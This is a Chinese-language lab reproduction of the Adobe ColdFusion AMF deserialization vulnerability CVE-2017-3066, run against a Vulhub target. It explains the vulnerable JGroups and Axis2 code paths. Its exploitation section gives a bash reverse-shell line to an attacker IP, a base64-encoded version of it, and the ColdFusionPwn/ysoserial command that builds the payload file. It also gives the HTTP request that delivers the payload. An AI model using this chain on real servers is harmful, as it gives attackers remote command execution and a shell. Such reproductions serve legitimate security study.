Adobe ColdFusion反序列化漏洞復現
0x00 漏洞概述
編號為CVE-2017-3066。
Adobe ColdFusion是漂亮國Adobe公司的一款動態Web伺服器產品,其執行的CFML(ColdFusion Markup Language)是針對Web應用的一種程式設計語言。Adobe ColdFusion是類似於ASP.net之類的應用程式開發平臺,但其誕生時間更為久遠。開發者可使用Adobe ColdFusion來搭建網站、SOAP以及REST Web服務,使用AMF(Action Message Format)與Adobe Flash進行互動。
Adobe ColdFusion中存在Java反序列化漏洞。攻擊者可以利用該漏洞在受影響的應用程式的上下文中執行任意程式碼或造成拒絕服務。
受影響版本:Adobe ColdFusion (2016 release) Update 3及之前的版本、ColdFusion 11 Update 11及之前的版本、ColdFusion 10 Update 22及之前的版本。
0x01 靶機部署
訪問靶機:
注意:由於使用的映象來源於Vulhub,管理員密碼為vulhub
。
0x02 白名單問題
最常規的利用思路來自Adobe ColdFusion的白名單問題。
Adobe ColdFusion(指定存在漏洞的版本)沒有采用可信類的白名單機制,這意味著只要某個類位於Adobe ColdFusion的類路徑(classpath),且符合Java Beans規範
java.io.Externalizable
,就可以傳送到伺服器進行反序列化。
實現了java.io.Externalizable
介面的JRE類(sun.rmi.server.UnicastRef2
和sun.rmi.server.UnicastRef
)會在AMF3反序列化過程中觸發一個TCP出站連線(可被利用作反彈Shell)。當成功連線了攻擊者的伺服器後,程式會使用Java原生的反序列化方法ObjectInputStream.readObject()
來反序列化伺服器的響應資料。結合Java原生反序列化和AMF反序列化讓許多通用馬在此場景得以應用。
0x03 Setter問題
公開的Setter方法是Java Beans規範的一部分。
按照Code White GmbH (github.com)組織裡大佬的做法,用Eclipse建立專案,將Adobe ColdFusion 12的所有jar包以外部庫形式匯入,進一步檢視Java原生反序列化方法ObjectInputStream.readObject()
的呼叫情況,開啟”Call Hierarchy“。Eclipse支援在沒有原始碼的前提下根據現有類資訊建構函式呼叫圖(巨大)。
根據大佬的審計結果,在org.jgroups.blocks.ReplicatedTree
類的setState(byte[] new_state)
方法存在問題。
/* */ public void setState(byte[] new_state) /* */ {
/* 597 */ Node new_root = null;
/* */ /* */ /* 600 */ if (new_state == null) {
/* 601 */ if (log.isInfoEnabled()) log.info("new cache is null");
/* 602 */ return;
/* */ }
/* */ try {
/* 605 */ Object obj = Util.objectFromByteBuffer(new_state);
/* 606 */ new_root = (Node)((Node)obj).clone();
/* 607 */ root = new_root;
/* 608 */ notifyAllNodesCreated(root);
/* */ }
/* */ catch (Throwable ex) {
/* 611 */ if (log.isErrorEnabled()) { log.error("could not set cache: " + ex);
/* */ }
/* */ }
/* */ }
根據函式呼叫圖,該呼叫鏈的最後一個節點是呼叫ObjectInputStream.readObject()
。
傳遞給setState()
的byte[]
引數在0x0
偏移處有一個額外位元組0x2
,見org.jgroups.util.Util
類的364行開始的程式碼,向下執行了一個switch
:
/* */ public static Object objectFromByteBuffer(byte[] buffer, int offset, int length) throws Exception
/* */ {
/* 358 */ if (buffer == null) return null;
/* 359 */ if (JGROUPS_COMPAT)
/* 360 */ return oldObjectFromByteBuffer(buffer, offset, length);
/* 361 */ Object retval = null;
/* 362 */ InputStream in = null;
/* 363 */ ByteArrayInputStream in_stream = new ByteArrayInputStream(buffer, offset, length);
/* 364 */ byte b = (byte)in_stream.read();
/* */ try {
/* */ int len;
/* 367 */ switch (b) {
/* */ case 0:
/* 369 */ return null;
/* */ case 1:
/* 371 */ in = new DataInputStream(in_stream);
/* 372 */ retval = readGenericStreamable((DataInputStream)in);
/* 373 */ break;
/* */ case 2:
/* 375 */ in = new ObjectInputStream(in_stream);
/* 376 */ retval = ((ObjectInputStream)in).readObject();
/* */ //... /* */ }
/* */ }
/* */ }
具體POC可用大佬製作的codewhitesec/ColdFusionPwn: Exploitation Tool for CVE-2017-3066 targeting Adobe Coldfusion 11/12 (github.com)生成。
此漏洞利用方法要求必須是Adobe ColdFusion 12,且開啟JGroups。
0x04 Externalizable問題
另有一種利用思路來自org.apache.axis2.util.MetaDataEntry
類的readExternal
方法。
在程式碼的297行,程式會呼叫SafeObjectInputStream.install(inObject)
方法:
/* */ public static SafeObjectInputStream install(ObjectInput in) /* */ {
/* 62 */ if ((in instanceof SafeObjectInputStream)) {
/* 63 */ return (SafeObjectInputStream)in;
/* */ }
/* 65 */ return new SafeObjectInputStream(in) ;
/* */ }
這個函式中,AMF3Input
例項屬於org.apache.axis2.context.externalize.SafeObjectInputStream
類的一個例項。
/* */ private Object readObjectOverride() /* */ throws IOException, ClassNotFoundException
/* */ {
/* 318 */ boolean isActive = in.readBoolean();
/* 319 */ if (!isActive) {
/* 320 */ if (isDebug) {
/* 321 */ log.debug("Read object=null");
/* */ }
/* 323 */ return null;
/* */ }
/* 325 */ Object obj = null;
/* 326 */ boolean isObjectForm = in.readBoolean();
/* 327 */ if (isObjectForm)
/* */ {
/* 329 */ if (isDebug) {
/* 330 */ log.debug(" reading using object form");
/* */ }
/* 332 */ obj = in.readObject();
/* */ } else {
/* 334 */ if (isDebug) {
/* 335 */ log.debug(" reading using byte form");
/* */ }
/* */ /* 338 */ ByteArrayInputStream bais = getByteStream(in);
/* */ /* */ /* 341 */ ObjectInputStream tempOIS = createObjectInputStream(bais);
/* 342 */ obj = tempOIS.readObject();
/* 343 */ tempOIS.close();
/* 344 */ bais.close();
/* */ }
/* */ //... /* */ }
第341行建立了org.apache.axis2.context.externalize.ObjectInputStreamWithCL
的新例項,這個類是擴充套件(extend
)了標準java.io.ObjectInputStream
類的。在342行實現了readObject()
方法的呼叫。
同樣可以利用大佬的工具生成POC,且對Adobe ColdFusion 11/12同時生效。
0x05 利用流程
針對靶機的Adobe ColdFusion 11發起攻擊。
使用的工具為:
- codewhitesec/ColdFusionPwn: Exploitation Tool for CVE-2017-3066 targeting Adobe Coldfusion 11/12 (github.com);
- frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com),其JAR包地址為https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar;
- java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca),用於編碼POC。
寫一個Bash版的反彈Shell(內網環境):
bash -i >& /dev/tcp/192.168.0.108/8848 0>&1
Base64編碼過一下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzg4NDggMD4mMQ==}|{base64,-d}|{bash,-i}
置入生成POC的命令中,生成getshell.ser:
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzg4NDggMD4mMQ==}|{base64,-d}|{bash,-i}" getshell.ser
注意:命令在Windows 10上執行失敗,提示找不到或缺少主類。在Kali 2021上測試生成沒有問題。
通過POST方法送至/flex2gateway/amf
路徑,Content-Type為application/x-amf:
POST /flex2gateway/amf HTTP/1.1
Host: 127.0.0.1:56739
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:56739/CFIDE/administrator/topnav.cfm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-amf
Cookie: JSESSIONID=910BC72D71919F399B01DA255FADF21F.cfusion; CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; CFAUTHORIZATION_cfadmin="YWRtaW4NY2ZhZG1pbg0xNjI4MzQzMzc4NDg0DTY5MTEzNDg4QkZBODI5M0U="; CFID=4; CFTOKEN=4f2cc63482f801b1-48495623-FF69-22B4-90EB72AC58A70C7C
Connection: close
[這裡寫POC]
另一邊的監聽連線成功: